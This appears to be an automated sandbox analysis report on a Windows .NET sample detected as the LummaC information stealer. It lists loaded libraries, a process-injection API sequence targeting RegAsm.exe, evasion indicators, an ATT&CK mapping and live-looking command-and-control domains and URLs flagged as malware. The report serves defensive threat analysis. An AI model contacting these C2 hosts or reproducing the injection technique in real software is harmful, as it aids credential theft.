Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044B300	3_2_0044B300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A3C0	3_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042C390	3_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00449390	3_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407470	3_2_00407470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B470	3_2_0040B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E470	3_2_0040E470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00405400	3_2_00405400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411420	3_2_00411420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D56C	3_2_0042D56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E52C	3_2_0041E52C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D58E	3_2_0042D58E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00437620	3_2_00437620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409737	3_2_00409737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00403790	3_2_00403790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004327B0	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00408810	3_2_00408810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042C891	3_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00449970	3_2_00449970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A910	3_2_0040A910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409A02	3_2_00409A02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00445AD0	3_2_00445AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00449B60	3_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042BB00	3_2_0042BB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00427B0F	3_2_00427B0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00438C00	3_2_00438C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043FD0E	3_2_0043FD0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00449E60	3_2_00449E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407E70	3_2_00407E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00447EDE	3_2_00447EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DEF8	3_2_0042DEF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043EF50	3_2_0043EF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040AFD0	3_2_0040AFD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DFE0	3_2_0042DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF80	3_2_0040BF80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00448F80	3_2_00448F80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CAD0 appears 53 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040ED80 appears 194 times

Source: 3ZD5tEC5DH.exe, 00000000.00000002.2135373419.000000000095E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 3ZD5tEC5DH.exe
Source: 3ZD5tEC5DH.exe, 00000000.00000000.2117110100.000000000023E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe< vs 3ZD5tEC5DH.exe
Source: 3ZD5tEC5DH.exe	Binary or memory string: OriginalFilenameVQP.exe< vs 3ZD5tEC5DH.exe

Source: 3ZD5tEC5DH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3ZD5tEC5DH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/2@11/7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004381AA CoCreateInstance,

3_2_004381AA

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3ZD5tEC5DH.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:972:120:WilError_03

Source: 3ZD5tEC5DH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 3ZD5tEC5DH.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3ZD5tEC5DH.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\3ZD5tEC5DH.exe "C:\Users\user\Desktop\3ZD5tEC5DH.exe"
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 3ZD5tEC5DH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 3ZD5tEC5DH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 3ZD5tEC5DH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045535E push edx; retf	3_2_0045535F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00437333 push 04EC839Eh; mov dword ptr [esp], edi	3_2_0043733A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004533F4 push edi; ret	3_2_004533F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00453400 push edi; ret	3_2_00453401

Source: 3ZD5tEC5DH.exe

Static PE information: section name: .text entropy: 7.995705798028068

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory allocated: BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory allocated: 26A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory allocated: 23E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe TID: 6092	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2404	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn!5
Source: RegAsm.exe, 00000003.00000002.2239756790.0000000000F25000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2239609640.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00447560 LdrInitializeThunk,

3_2_00447560

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Code function: 0_2_026A2151 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_026A2151

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop
Source: 3ZD5tEC5DH.exe, 00000000.00000002.2136578260.00000000036A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lootebarrkeyn.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A31008	Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\3ZD5tEC5DH.exe

Queries volume information: C:\Users\user\Desktop\3ZD5tEC5DH.exe VolumeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 PowerShell	1 DLL Side-Loading	411 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3ZD5tEC5DH.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla

Source	Detection	Scanner	Label
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/badges	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l	0%	Avira URL Cloud	safe
lootebarrkeyn.shop	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=gC	0%	Avira URL Cloud	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTS	0%	Avira URL Cloud	safe
https://drawzhotdog.shop/api	100%	Avira URL Cloud	malware
stogeneratmns.shop	100%	Avira URL Cloud	malware
https://gutterydhowi.shop/api	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e	0%	Avira URL Cloud	safe
reinforcenh.shop	100%	Avira URL Cloud	malware
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://steamcommunity.com/N	0%	Avira URL Cloud	safe
https://performenj.shop/6&	100%	Avira URL Cloud	malware
https://offensivedzvju.shop/	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.c	0%	Avira URL Cloud	safe
https://reinforcenh.shop/d&	100%	Avira URL Cloud	malware
https://reinforcenh.shop/api	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	Avira URL Cloud	safe
https://stogeneratmns.shop/&-7	100%	Avira URL Cloud	malware
https://vozmeatillu.shop/	100%	Avira URL Cloud	malware
https://offensivedzvju.shop/W	100%	Avira URL Cloud	malware
https://drawzhotdog.shop/	100%	Avira URL Cloud	malware
ghostreedmnu.shop	100%	Avira URL Cloud	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e199731	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	Avira URL Cloud	safe
https://ghostreedmnu.shop/	100%	Avira URL Cloud	malware
https://performenj.shop/pi	100%	Avira URL Cloud	malware
https://gutterydhowi.shop/apiO	100%	Avira URL Cloud	malware
https://community.akamaoE	0%	Avira URL Cloud	safe
https://performenj.shop/	100%	Avira URL Cloud	malware
https://stogeneratmns.shop/api	100%	Avira URL Cloud	malware
https://vozmeatillu.shop/api	100%	Avira URL Cloud	malware
gutterydhowi.shop	100%	Avira URL Cloud	malware
https://ghostreedmnu.shop/api	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	Avira URL Cloud	safe
https://offensivedzvju.shop/api	100%	Avira URL Cloud	malware
fragnantbui.shop	100%	Avira URL Cloud	malware
offensivedzvju.shop	100%	Avira URL Cloud	malware
https://fragnantbui.shop/api	100%	Avira URL Cloud	malware
drawzhotdog.shop	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	Avira URL Cloud	safe
https://performenj.shop/apit	100%	Avira URL Cloud	malware
https://performenj.shop/api	100%	Avira URL Cloud	malware
https://stogeneratmns.shop/apiJ	100%	Avira URL Cloud	malware
https://steamcommunity.com/	0%	Avira URL Cloud	safe
vozmeatillu.shop	100%	Avira URL Cloud	malware
